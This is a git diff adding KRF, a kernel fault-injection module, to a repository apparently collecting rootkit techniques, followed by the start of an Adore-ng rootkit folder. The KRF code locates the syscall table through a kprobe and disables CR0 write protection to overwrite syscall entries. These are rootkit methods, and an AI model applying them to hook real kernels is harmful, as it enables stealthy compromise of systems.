Randomized Faulter/src/module/freebsd/targeting.h new file mode 100644 index 0000000..fbfa5bb --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/freebsd/targeting.h @@ -0,0 +1,92 @@ +#pragma once +#include "freebsd.h" +#include "../targeting.h" +#include +#include +#include +#include +#include +#include +#include + +static __always_inline bool krf_personality(unsigned int target, krf_ctx_t *context) { + return (context->td_proc->p_flag2 & (target)); +} + +#ifdef KRF_FREEBSD_UNSAFE_PID_TRAVERSAL +static __always_inline bool krf_pid(unsigned int target, krf_ctx_t *context) { + struct proc *par = context->td_proc; + do { + if (par->p_pid == (target)) { + return true; + break; + } + } while ((par = par->p_pptr)); + return false; +} +#else // Default: do a check with depth=1 using locks +static __always_inline bool krf_pid(unsigned int target, krf_ctx_t *context) { + int ret = 0; + PROC_LOCK(context->td_proc); + if (context->td_proc->p_pid == (target)) { + ret = 1; + } else { + PROC_LOCK(context->td_proc->p_pptr); + if (context->td_proc->p_pptr->p_pid == (target)) + ret = 1; + PROC_UNLOCK(context->td_proc->p_pptr); + } + PROC_UNLOCK(context->td_proc); + return ret; +} +#endif + +static __always_inline bool krf_uid(unsigned int target, krf_ctx_t *context) { + return (context->td_proc->p_ucred->cr_ruid == + (target)); // Currently using real UID but could use effective UID (cr_uid) +} + +static __always_inline bool krf_gid(unsigned int target, krf_ctx_t *context) { + return (context->td_proc->p_ucred->cr_rgid == (target)); +} + +static __always_inline bool krf_inode(unsigned int target, krf_ctx_t *context) { + int i = 0; + bool ret = false; + struct vattr vap; + struct filedesc *fdp; + + PROC_LOCK(context->td_proc); + fdp = context->td_proc->p_fd; + PROC_UNLOCK(context->td_proc); + + if (fdp == NULL) + return false; + + FILEDESC_SLOCK(context->td_proc->p_fd); + for (; i <= fdp->fd_lastfile; i++) { + if (fdp->fd_refcnt <= 0) + break; + if (fdp->fd_ofiles[i].fde_file == NULL) + break; + if (fdp->fd_ofiles[i].fde_file->f_type != DTYPE_VNODE) + continue; + if (fdp->fd_ofiles[i].fde_file->f_vnode == NULL) + break; + + VI_LOCK(fdp->fd_ofiles[i].fde_file->f_vnode); + vget(fdp->fd_files->fdt_ofiles[i].fde_file->f_vnode, LK_EXCLUSIVE | LK_INTERLOCK, context); + if (VOP_GETATTR(fdp->fd_files->fdt_ofiles[i].fde_file->f_vnode, &vap, + fdp->fd_files->fdt_ofiles[i].fde_file->f_cred) != 0) { + vput(fdp->fd_files->fdt_ofiles[i].fde_file->f_vnode); + break; + } + vput(fdp->fd_files->fdt_ofiles[i].fde_file->f_vnode); + if (target == vap.va_fileid) { + ret = true; + break; + } + } + FILEDESC_SUNLOCK(fdp); + return ret; +} diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/krf.c b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/krf.c new file mode 100644 index 0000000..edabb15 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/krf.c @@ -0,0 +1,68 @@ +#include "config.h" +#include "krf.h" +#ifdef LINUX +#include "linux/linux.h" +#include +#include +#include +#include +#include +#include +#endif + +#ifdef __FreeBSD__ +#include +#include +#include +#include +#include "freebsd/freebsd.h" +#endif + +void krf_flush_table(void) { + int nr; + for (nr = 0; nr < KRF_NR_SYSCALLS; nr++) { + if (krf_sys_call_table[nr]) { + KRF_SAFE_WRITE({ KRF_EXTRACT_SYSCALL(KRF_SYSCALL_TABLE[nr]) = krf_sys_call_table[nr]; }); + } + } +} + +int control_file_handler(unsigned int sys_num) { + if (sys_num >= KRF_NR_SYSCALLS) { + KRF_LOG("krf: flushing all faulty syscalls\n"); + krf_flush_table(); + } else if (krf_faultable_table[sys_num] != NULL) { + KRF_SAFE_WRITE( + { KRF_EXTRACT_SYSCALL(KRF_SYSCALL_TABLE[sys_num]) = krf_faultable_table[sys_num]; }); + } else { + // Valid syscall, but not supported by KRF + KRF_LOG("krf: user requested faulting of unsupported slot %u\n", sys_num); + return -EOPNOTSUPP; + } + return 0; +} + +void targeting_file_read_handler(char *buf) { + size_t offset = 0; + unsigned int current_mode; + for (current_mode = 0; current_mode < KRF_T_NUM_MODES; current_mode++) { + if ((krf_target_options.mode_mask & (1 << current_mode)) && (offset < KRF_PROCFS_MAX_SIZE)) { + offset += sprintf(buf + offset, "%u %u\n", current_mode, + krf_target_options.target_data[current_mode]); + } + } +} + +int targeting_file_write_handler(unsigned int mode, unsigned int data) { + if ((mode == 0) && (data == 0)) { // If both arguments are zero, remove all targeting + krf_target_options.mode_mask = 0; + KRF_LOG("krf: flushing all targeting options\n"); + } else { + if (mode >= KRF_T_NUM_MODES) { + return -EINVAL; + } + krf_target_options.mode_mask |= (1 << mode); + krf_target_options.target_data[mode] = data; + } + return 0; +} diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/krf.h b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/krf.h new file mode 100644 index 0000000..9f23ea2 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/krf.h @@ -0,0 +1,6 @@ +#pragma once + +int control_file_handler(unsigned int syscall); +void targeting_file_read_handler(char *buf); +int targeting_file_write_handler(unsigned int mode, unsigned int data); +void krf_flush_table(void); diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/linux/Makefile b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/linux/Makefile new file mode 100644 index 0000000..8910b38 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/linux/Makefile @@ -0,0 +1,45 @@ +MOD := krfx + +# Ignore this insanity: we need to do some pathname rewriting +# thanks to the subprocess make that actually does the building. +KRF_SYSCALL_SRCS_FAKE := $(notdir $(wildcard $M/syscalls/*.c)) +KRF_SYSCALL_OBJS_FAKE := $(KRF_SYSCALL_SRCS_FAKE:.c=.o) +KRF_SYSCALL_OBJS = $(foreach obj,$(KRF_SYSCALL_OBJS_FAKE),syscalls/$(obj)) +KRF_SYSCALL_YMLS = $(wildcard ../codegen/linux/*.yml) + +ccflags-y := -DKRF_CODEGEN=1 -DLINUX -std=gnu99 -Wno-declaration-after-statement + +obj-m += $(MOD).o +$(MOD)-objs := krf.o syscalls.o netlink.o ../krf.o ../config.o $(KRF_SYSCALL_OBJS) + +.PHONY: all +all: module + +.PHONY: module +module: ../codegen/linux/.linux.mk + $(MAKE) -C /lib/modules/$(shell uname -r)/build M=$(shell pwd) modules + +.PHONY: codegen +codegen: ../codegen/linux/.linux.mk + +../codegen/linux/.linux.mk: ../codegen/linux/codegen $(KRF_SYSCALL_YMLS) + ruby ../codegen/linux/codegen $(FAULTS) + @touch ../codegen/linux/.linux.mk + +clean: + $(MAKE) -C /lib/modules/$(shell uname -r)/build M=$(shell pwd) clean + rm -f ../*.o *.ur-safe ../*.ur-safe # some garbage not cleaned by the kernel's clean target + rm -f *.gen.x *.gen.h */*.gen.h */*.gen.c ../codegen/linux/.linux.mk # codegen files + +.PHONY: install +install: $(MOD).ko + sudo $(MAKE) -C /lib/modules/$(shell uname -r)/build M=$(shell pwd) modules_install + sudo depmod -a + +.PHONY: insmod +insmod: $(MOD).ko + sudo insmod $(MOD).ko + +.PHONY: rmmod +rmmod: + sudo rmmod $(MOD) diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/linux/krf.c b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/linux/krf.c new file mode 100644 index 0000000..1903ffa --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/linux/krf.c @@ -0,0 +1,378 @@ +#include +#include +#include +#include +#include +#include +#include + +#include "../config.h" +#include "../krf.h" +#include "syscalls.h" +#include "netlink.h" + +#define KRF_VERSION "0.0.1" + +MODULE_LICENSE("GPL"); +MODULE_AUTHOR("William Woodruff "); +MODULE_DESCRIPTION("A Kernelspace Randomized Faulter"); + +// Kernels 5.6 and newer: procfs uses `struct proc_ops` instead of `struct file_operations`. +#if LINUX_VERSION_CODE >= KERNEL_VERSION(5, 6, 0) +#define HAVE_PROC_OPS +#endif + +// Kernels 5.7 and newer: kallsyms_lookup_name has been unexported for Google reasons (tm), +// so we need to use kprobes to grab its address. +// See: https://github.com/xcellerator/linux_kernel_hacking +#if LINUX_VERSION_CODE >= KERNEL_VERSION(5, 7, 0) +#define KALLSYMS_LOOKUP_NAME_UNEXPORTED +#include +static struct kprobe kp = {.symbol_name = "kallsyms_lookup_name"}; +#endif + +static int krf_init(void); +static void krf_teardown(void); +static ssize_t rng_state_file_read(struct file *, char __user *, size_t, loff_t *); +static ssize_t rng_state_file_write(struct file *, const char __user *, size_t, loff_t *); +static ssize_t probability_file_read(struct file *, char __user *, size_t, loff_t *); +static ssize_t probability_file_write(struct file *, const char __user *, size_t, loff_t *); +static ssize_t control_file_write(struct file *, const char __user *, size_t, loff_t *); +static ssize_t log_faults_file_read(struct file *, char __user *, size_t, loff_t *); +static ssize_t log_faults_file_write(struct file *, const char __user *, size_t, loff_t *); +static ssize_t targeting_file_read(struct file *, char __user *, size_t, loff_t *); +static ssize_t targeting_file_write(struct file *, const char __user *, size_t, loff_t *); + +static struct proc_dir_entry *krf_dir; + +#ifdef HAVE_PROC_OPS +static const struct proc_ops rng_state_file_ops = { + .proc_read = rng_state_file_read, + .proc_write = rng_state_file_write, +}; + +static const struct proc_ops probability_file_ops = { + .proc_read = probability_file_read, + .proc_write = probability_file_write, +}; + +static const struct proc_ops control_file_ops = { + .proc_write = control_file_write, +}; + +static const struct proc_ops log_faults_file_ops = { + .proc_read = log_faults_file_read, + .proc_write = log_faults_file_write, +}; + +static const struct proc_ops targeting_file_ops = { + .proc_read = targeting_file_read, + .proc_write = targeting_file_write, +}; +#else +static const struct file_operations rng_state_file_ops = { + .owner = THIS_MODULE, + .read = rng_state_file_read, + .write = rng_state_file_write, +}; + +static const struct file_operations probability_file_ops = { + .owner = THIS_MODULE, + .read = probability_file_read, + .write = probability_file_write, +}; + +static const struct file_operations control_file_ops = { + .owner = THIS_MODULE, + .write = control_file_write, +}; + +static const struct file_operations log_faults_file_ops = { + .owner = THIS_MODULE, + .read = log_faults_file_read, + .write = log_faults_file_write, +}; + +static const struct file_operations targeting_file_ops = { + .owner = THIS_MODULE, + .read = targeting_file_read, + .write = targeting_file_write, +}; +#endif + +int init_module(void) { + int ret; + + if ((ret = krf_init()) != 0) { + printk(KERN_ERR "krf_init failed with %d\n", ret); + return ret; + } + +#ifdef KRF_CODEGEN +#include "krf.gen.x" +#endif + + printk(KERN_INFO "krf " KRF_VERSION " loaded\n"); + + return 0; +} + +void cleanup_module(void) { + krf_teardown(); + + printk(KERN_INFO "krf " KRF_VERSION " unloaded\n"); +} + +static int krf_init(void) { +#ifdef KALLSYMS_LOOKUP_NAME_UNEXPORTED + typedef unsigned long (*kallsyms_lookup_name_t)(const char *name); + kallsyms_lookup_name_t kallsyms_lookup_name; + if (register_kprobe(&kp) < 0) { + printk(KERN_ERR "krf couldn't register a kprobe to sniff kallsyms_lookup_name\n"); + } + kallsyms_lookup_name = (kallsyms_lookup_name_t)kp.addr; + unregister_kprobe(&kp); +#endif + + if (setup_netlink_socket() < 0) { + return -1; + } + + sys_call_table = (void *)kallsyms_lookup_name("sys_call_table"); + + if (sys_call_table == NULL) { + printk(KERN_ERR "krf couldn't load the syscall table\n"); + return -2; + } + + memcpy(krf_sys_call_table, sys_call_table, KRF_NR_SYSCALLS * sizeof(unsigned long *)); + + krf_dir = proc_mkdir(KRF_PROC_DIR, NULL); + + if (krf_dir == NULL) { + printk(KERN_ERR "krf couldn't create /proc/" KRF_PROC_DIR); + return -2; + } + + if (proc_create(KRF_RNG_STATE_FILENAME, 644, krf_dir, &rng_state_file_ops) == NULL || + proc_create(KRF_PROBABILITY_FILENAME, 644, krf_dir, &probability_file_ops) == NULL || + proc_create(KRF_CONTROL_FILENAME, 644, krf_dir, &control_file_ops) == NULL || + proc_create(KRF_LOG_FAULTS_FILENAME, 644, krf_dir, &log_faults_file_ops) == NULL || + proc_create(KRF_TARGETING_FILENAME, 644, krf_dir, &targeting_file_ops) == NULL) { + printk(KERN_ERR "krf couldn't create /proc entries\n"); + return -3; + } + + return 0; +} + +static void krf_teardown(void) { + krf_flush_table(); + remove_proc_subtree(KRF_PROC_DIR, NULL); + destroy_netlink_socket(); +} + +static ssize_t rng_state_file_read(struct file *f, char __user *ubuf, size_t size, loff_t *off) { + char buf[KRF_PROCFS_MAX_SIZE + 1] = {0}; + size_t buflen = 0; + + sprintf(buf, "%u\n", krf_rng_state); + buflen = strnlen(buf, KRF_PROCFS_MAX_SIZE); + + if (*off > 0 || size < buflen) { + return 0; + } + + if (copy_to_user(ubuf, buf, buflen)) { + return -EFAULT; + } + + *off = buflen; + return buflen; +} + +static ssize_t rng_state_file_write(struct file *f, const char __user *ubuf, size_t size, + loff_t *off) { + char buf[KRF_PROCFS_MAX_SIZE + 1] = {0}; + size_t buflen = 0; + + if (size > KRF_PROCFS_MAX_SIZE) { + size = KRF_PROCFS_MAX_SIZE; + } + + if (copy_from_user(buf, ubuf, size)) { + return -EFAULT; + } + + if (kstrtouint(buf, 0, &krf_rng_state) < 0) { + return -EINVAL; + } + + buflen = strnlen(buf, KRF_PROCFS_MAX_SIZE); + + *off = buflen; + return buflen; +} + +static ssize_t probability_file_read(struct file *f, char __user *ubuf, size_t size, loff_t *off) { + char buf[KRF_PROCFS_MAX_SIZE + 1] = {0}; + size_t buflen = 0; + + sprintf(buf, "%u\n", krf_probability); + buflen = strnlen(buf, KRF_PROCFS_MAX_SIZE); + + if (*off > 0 || size < buflen) { + return 0; + } + + if (copy_to_user(ubuf, buf, buflen)) { + return -EFAULT; + } + + *off = buflen; + return buflen; +} + +static ssize_t probability_file_write(struct file *f, const char __user *ubuf, size_t size, + loff_t *off) { + char buf[KRF_PROCFS_MAX_SIZE + 1] = {0}; + size_t buflen = 0; + + if (size > KRF_PROCFS_MAX_SIZE) { + size = KRF_PROCFS_MAX_SIZE; + } + + if (copy_from_user(buf, ubuf, size)) { + return -EFAULT; + } + + if (kstrtouint(buf, 0, &krf_probability) < 0) { + return -EINVAL; + } + + buflen = strnlen(buf, KRF_PROCFS_MAX_SIZE); + + *off = buflen; + return buflen; +} + +static ssize_t control_file_write(struct file *f, const char __user *ubuf, size_t size, + loff_t *off) { + char buf[KRF_PROCFS_MAX_SIZE + 1] = {0}; + size_t buflen = 0; + unsigned int sys_num = KRF_NR_SYSCALLS; + + if (size > KRF_PROCFS_MAX_SIZE) { + size = KRF_PROCFS_MAX_SIZE; + } + + if (copy_from_user(buf, ubuf, size)) { + return -EFAULT; + } + + if (kstrtouint(buf, 0, &sys_num) < 0) { + return -EINVAL; + } + + if (control_file_handler(sys_num) < 0) { + return -EOPNOTSUPP; + } + + buflen = strnlen(buf, KRF_PROCFS_MAX_SIZE); + + *off = buflen; + return buflen; +} + +static ssize_t log_faults_file_read(struct file *f, char __user *ubuf, size_t size, loff_t *off) { + char buf[KRF_PROCFS_MAX_SIZE + 1] = {0}; + size_t buflen = 0; + + sprintf(buf, "%u\n", krf_log_faults); + buflen = strnlen(buf, KRF_PROCFS_MAX_SIZE); + + if (*off > 0 || size < buflen) { + return 0; + } + + if (copy_to_user(ubuf, buf, buflen)) { + return -EFAULT; + } + + *off = buflen; + return buflen; +} + +static ssize_t log_faults_file_write(struct file *f, const char __user *ubuf, size_t size, + loff_t *off) { + char buf[KRF_PROCFS_MAX_SIZE + 1] = {0}; + size_t buflen = 0; + + if (size > KRF_PROCFS_MAX_SIZE) { + size = KRF_PROCFS_MAX_SIZE; + } + + if (copy_from_user(buf, ubuf, size)) { + return -EFAULT; + } + + if (kstrtouint(buf, 0, &krf_log_faults) < 0) { + return -EINVAL; + } + + krf_log_faults = !!krf_log_faults; + + buflen = strnlen(buf, KRF_PROCFS_MAX_SIZE); + + *off = buflen; + return buflen; +} + +static ssize_t targeting_file_read(struct file *f, char __user *ubuf, size_t size, loff_t *off) { + char buf[KRF_PROCFS_MAX_SIZE + 1] = {0}; + size_t buflen = 0; + + targeting_file_read_handler(buf); + + buflen = strnlen(buf, KRF_PROCFS_MAX_SIZE); + + if (*off > 0 || size < buflen) { + return 0; + } + + if (copy_to_user(ubuf, buf, buflen)) { + return -EFAULT; + } + + *off = buflen; + return buflen; +} + +static ssize_t targeting_file_write(struct file *f, const char __user *ubuf, size_t size, + loff_t *off) { + char buf[KRF_PROCFS_MAX_SIZE + 1] = {0}; + size_t buflen = 0; + krf_target_mode_t mode; + unsigned int data; + + if (size > KRF_PROCFS_MAX_SIZE) { + size = KRF_PROCFS_MAX_SIZE; + } + + if (copy_from_user(buf, ubuf, size)) { + return -EFAULT; + } + + if (sscanf(buf, "%u %u", &mode, &data) != 2) { + return -EINVAL; + } + + if (targeting_file_write_handler(mode, data) < 0) { + return -EINVAL; + } + + buflen = strnlen(buf, KRF_PROCFS_MAX_SIZE); + + *off = buflen; + return buflen; +} diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/linux/linux.h b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/linux/linux.h new file mode 100644 index 0000000..e67e55b --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/linux/linux.h @@ -0,0 +1,25 @@ +#pragma once +// Linux specific definitions +#include "syscalls.h" +#include "netlink.h" + +#define KRF_SAFE_WRITE(x) KRF_CR0_WRITE_UNLOCK(x) +#define KRF_LOG(...) \ + ({ \ + char krf_log_msg_buf[KRF_NETLINK_BUF_SIZE]; \ + printk(KERN_INFO __VA_ARGS__); \ + int written = snprintf(krf_log_msg_buf, KRF_NETLINK_BUF_SIZE, __VA_ARGS__); \ + if (written < 0) { \ + printk(KERN_WARNING "krf: snprintf formatting error\n"); \ + } else if (written >= KRF_NETLINK_BUF_SIZE) { \ + printk(KERN_WARNING "krf: truncated message\n"); \ + krf_netlink_broadcast(krf_log_msg_buf, KRF_NETLINK_BUF_SIZE); \ + } else { \ + krf_netlink_broadcast(krf_log_msg_buf, written + 1); \ + } \ + }) +#define KRF_SYSCALL_TABLE sys_call_table +#define KRF_TARGETING_PARMS current +#define KRF_EXTRACT_SYSCALL(x) (x) + +typedef struct task_struct krf_ctx_t; diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/linux/netlink.c b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/linux/netlink.c new file mode 100644 index 0000000..268f70b --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/linux/netlink.c @@ -0,0 +1,41 @@ +#include +#include +#include + +#include "netlink.h" + +static struct sock *krf_socket; + +int krf_netlink_broadcast(char *buf, unsigned message_size) { + struct sk_buff *skb; + struct nlmsghdr *nlh; + int result; + skb = nlmsg_new(NLMSG_ALIGN(message_size), GFP_KERNEL); + if (!skb) { + printk(KERN_ERR "krf: Failed to allocate a new skb\n"); + return -1; + } + nlh = nlmsg_put(skb, 0, 1, NLMSG_DONE, message_size, 0); + strncpy(nlmsg_data(nlh), buf, message_size); + result = nlmsg_multicast(krf_socket, skb, 0, NETLINK_MYGROUP, GFP_KERNEL); + if (result < 0) { + printk(KERN_ERR "krf: Failed to multicast message with error code %d\n", result); + } + return result; +} + +int setup_netlink_socket(void) { + struct netlink_kernel_cfg config = { + .groups = NETLINK_MYGROUP, + }; + krf_socket = netlink_kernel_create(&init_net, NETLINK_KRF, &config); + if (krf_socket < 0) { + printk(KERN_ERR "krf: couldn't create a netlink"); + return -1; + } + return 0; +} + +void destroy_netlink_socket(void) { + netlink_kernel_release(krf_socket); +} diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/linux/netlink.h b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/linux/netlink.h new file mode 100644 index 0000000..3015e7e --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/linux/netlink.h @@ -0,0 +1,8 @@ +#pragma once +#include "../../common/common.h" + +#define KRF_NETLINK_BUF_SIZE 256 // Arbitrary maximum message size + +int krf_netlink_broadcast(char *buf, unsigned message_size); +int setup_netlink_socket(void); +void destroy_netlink_socket(void); diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/linux/syscalls.c b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/linux/syscalls.c new file mode 100644 index 0000000..b117669 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/linux/syscalls.c @@ -0,0 +1,11 @@ +#include "syscalls.h" +#include "syscalls/internal.h" +#include "linux.h" + +unsigned long *krf_faultable_table[KRF_NR_SYSCALLS] = {}; +unsigned long *krf_sys_call_table[KRF_NR_SYSCALLS] = {}; +unsigned long **sys_call_table = NULL; + +#ifdef KRF_CODEGEN +#include "syscalls.gen.x" +#endif diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/linux/syscalls.h b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/linux/syscalls.h new file mode 100644 index 0000000..0a76d66 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/linux/syscalls.h @@ -0,0 +1,41 @@ +#pragma once + +#include +#include +#include /* for NR_syscalls */ + +#if !defined(NR_syscalls) || NR_syscalls <= 0 +#error "undefined or bizarrely defined NR_syscalls" +#endif + +#define KRF_NR_SYSCALLS (NR_syscalls) + +#define KRF_CR0_WRITE_UNLOCK(x) \ + do { \ + unsigned long __cr0; \ + preempt_disable(); \ + __cr0 = read_cr0() & (~X86_CR0_WP); \ + BUG_ON(unlikely((__cr0 & X86_CR0_WP))); \ + write_cr0(__cr0); \ + x; \ + __cr0 = read_cr0() | X86_CR0_WP; \ + BUG_ON(unlikely(!(__cr0 & X86_CR0_WP))); \ + write_cr0(__cr0); \ + preempt_enable(); \ + } while (0) + +/* A table of pointers to faulty syscalls. + */ +extern unsigned long *krf_faultable_table[KRF_NR_SYSCALLS]; + +/* A backup of the real syscall table, prior to modification. + */ +extern unsigned long *krf_sys_call_table[KRF_NR_SYSCALLS]; + +/* The real syscall table, which may or may not be modified at any point. + */ +extern unsigned long **sys_call_table; + +#ifdef KRF_CODEGEN +#include "syscalls.gen.h" +#endif diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/linux/syscalls/internal.h b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/linux/syscalls/internal.h new file mode 100644 index 0000000..55c912b --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/linux/syscalls/internal.h @@ -0,0 +1,34 @@ +#pragma once + +#ifdef LINUX +#include +#endif + +#include "../../config.h" +#include "../../targeting.h" + +#define KRF_RNG_NEXT() (krf_rng_state = krf_mulberry32()) + +/* Individual syscall files (read.c, write.c) provide these. + */ +#undef KRF_SYS_CALL +#undef KRF_SYS_PARMS +#undef KRF_SYS_PARMSX + +#define NFAULTS (sizeof(fault_table) / sizeof(fault_table[0])) + +/* Cribbed from the public domain impl: + * https://gist.github.com/tommyettinger/46a874533244883189143505d203312c + * + * TODO(ww): 64 bit would probably be faster; use Thrust instead? + */ +static __inline unsigned int krf_mulberry32(void) { + unsigned int z = krf_rng_state += 0x6D2B79F5; + z = (z ^ z >> 15) * (1 | z); + z ^= z + (z ^ z >> 7) * (61 | z); + return z ^ z >> 14; +} + +#ifdef KRF_CODEGEN +#include "internal.gen.h" +#endif diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/linux/targeting.h b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/linux/targeting.h new file mode 100644 index 0000000..b48fdf3 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/linux/targeting.h @@ -0,0 +1,28 @@ +#pragma once +#include "linux.h" +#include "../targeting.h" +#include +#include + +static __always_inline bool krf_personality(unsigned int target, krf_ctx_t *context) { + return (context->personality & (target)); +} +static __always_inline bool krf_pid(unsigned int target, krf_ctx_t *context) { + return (context->pid == (target)); +} +static __always_inline bool krf_uid(unsigned int target, krf_ctx_t *context) { + return (context->cred->uid.val == (target)); +} +static __always_inline bool krf_gid(unsigned int target, krf_ctx_t *context) { + return (context->cred->gid.val == (target)); +} +static __always_inline bool krf_inode(unsigned int target, krf_ctx_t *context) { + int i = 0; + while (context->files->fdt->fd[i] != NULL) { + if ((target == context->files->fdt->fd[i]->f_inode->i_ino)) { + return true; + } + i++; + } + return false; +} diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/targeting.h b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/targeting.h new file mode 100644 index 0000000..cd355bc --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/targeting.h @@ -0,0 +1,55 @@ +#pragma once +#include "config.h" +#ifdef LINUX +#include "linux/linux.h" +#include "linux/targeting.h" +#endif +#ifdef __FreeBSD__ +#include "freebsd/freebsd.h" +#include "freebsd/targeting.h" +#endif + +static __always_inline int krf_targeted(krf_ctx_t *context) { + int targeted = 1; + size_t i = 0; + for (; i < KRF_T_NUM_MODES; i++) { + if (targeted == 0) + break; + + if (krf_target_options.mode_mask & (1 << i)) { + switch (i) { + case KRF_T_MODE_PERSONALITY: + if (krf_personality(krf_target_options.target_data[i], context)) + targeted++; + else + targeted = 0; + break; + case KRF_T_MODE_PID: + if (krf_pid(krf_target_options.target_data[i], context)) + targeted++; + else + targeted = 0; + break; + case KRF_T_MODE_UID: + if (krf_uid(krf_target_options.target_data[i], context)) + targeted++; + else + targeted = 0; + break; + case KRF_T_MODE_GID: + if (krf_gid(krf_target_options.target_data[i], context)) + targeted++; + else + targeted = 0; + break; + case KRF_T_MODE_INODE: + if (krf_inode(krf_target_options.target_data[i], context)) + targeted++; + else + targeted = 0; + break; + } + } + } + return (targeted & (~1)); +} diff --git a/Linux/Rootkits/Adore-ng/.gitignore b/Linux/Rootkits/Adore-ng/.gitignore new file mode 100644 index 0000000..edf6645 --- /dev/null +++ b/Linux/Rootkits/Adore-ng/.gitignore @@ -0,0 +1,29 @@ +# Object files +*.o +*.ko +*.obj +*.elf + +# Precompiled Headers +*.gch +*.pch + +# Libraries +*.lib +*.a +*.la +*.lo + +# Shared objects (inc. Windows DLLs) +*.dll +*.so +*.so.* +*.dylib + +# Executables +*.exe +*.out +*.app +*.i*86 +*.x86_64 +*.hex diff --git a/Linux/Rootkits/Adore-ng/LICENSE b/Linux/Rootkits/Adore-ng/LICENSE new file mode 100644 index 0000000..d6a9326 --- /dev/null +++ b/Linux/Rootkits/Adore-ng/LICENSE @@ -0,0 +1,340 @@ +GNU GENERAL PUBLIC LICENSE + Version 2, June 1991 + + Copyright (C) 1989, 1991 Free Software Foundation, Inc., + 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + Everyone is permitted to copy and distribute verbatim copies + of this license document, but changing it is not allowed. + + Preamble + + The licenses for most software are designed to take away your +freedom to share and change it. By contrast, the GNU General Public +License is intended to guarantee your freedom to share and change free +software--to make sure the software is free for all its users. This +General Public License applies to most of the Free Software +Foundation's software and to any other program whose authors commit to +using it. (Some other Free Software Foundation software is covered by +the GNU Lesser General Public License instead.) You can apply it to +your programs, too. + + When we speak of free software, we are referring to freedom, not +price. Our General Public Licenses are designed to make sure that you +have the freedom to distribute copies of free software (and charge for +this service if you wish), that you receive source code or can get it +if you want it, that you can change the software or use pieces of it +in new free programs; and that you know you can do these things. + + To protect your rights, we need to make restrictions that forbid +anyone to deny you these rights or to ask you to surrender the rights. +These restrictions translate to certain responsibilities for you if you +distribute copies of the software, or if you modify it. + + For example, if you distribute copies of such a program, whether +gratis or for a fee, you must give the recipients all the rights that +you have. You must make sure that they, too, receive or can get the +source code. And you must show them these terms so they know their +rights. + + We protect your rights with two steps: (1) copyright the software, and +(2) offer you this license which gives you legal permission to copy, +distribute and/or modify the software. + + Also, for each author's protection and ours, we want to make certain +that everyone understands that there is no warranty for this free +software. If the software is modified by someone else and passed on, we +want its recipients to know that what they have is not the original, so +that any problems introduced by others will not reflect on the original +authors' reputations. + + Finally, any free program is threatened constantly by software +patents. We wish to avoid the danger that redistributors of a free +program will individually obtain patent licenses, in effect making the +program proprietary. To prevent this, we have made it clear that any +patent must be licensed for everyone's free use or not licensed at all. + + The precise terms and conditions for copying, distribution and +modification follow. + + GNU GENERAL PUBLIC LICENSE + TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION + + 0. This License applies to any program or other work which contains +a notice placed by the copyright holder saying it may be distributed +under the terms of this General Public License. The "Program", below, +refers to any such program or work, and a "work based on the Program" +means either the Program or any derivative work under copyright law: +that is to say, a work containing the Program or a portion of it, +either verbatim or with modifications and/or translated into another +language. (Hereinafter, translation is included without limitation in +the term "modification".) Each licensee is addressed as "you". + +Activities other than copying, distribution and modification are not +covered by this License; they are outside its scope. The act of +running the Program is not restricted, and the output from the Program +is covered only if its contents constitute a work based on the +Program (independent of having been made by running the Program). +Whether that is true depends on what the Program does. + + 1. You may copy and distribute verbatim copies of the Program's +source code as you receive it, in any medium, provided that you +conspicuously and appropriately publish on each copy an appropriate +copyright notice and disclaimer of warranty; keep intact all the +notices that refer to this License and to the absence of any warranty; +and give any other recipients of the Program a copy of this License +along with the Program. + +You may charge a fee for the physical act of transferring a copy, and +you may at your option offer warranty protection in exchange for a fee. + + 2. You may modify your copy or copies of the Program or any portion +of it, thus forming a work based on the Program, and copy and +distribute such modifications or work under the terms of Section 1 +above, provided that you also meet all of these conditions: + + a) You must cause the modified files to carry prominent notices 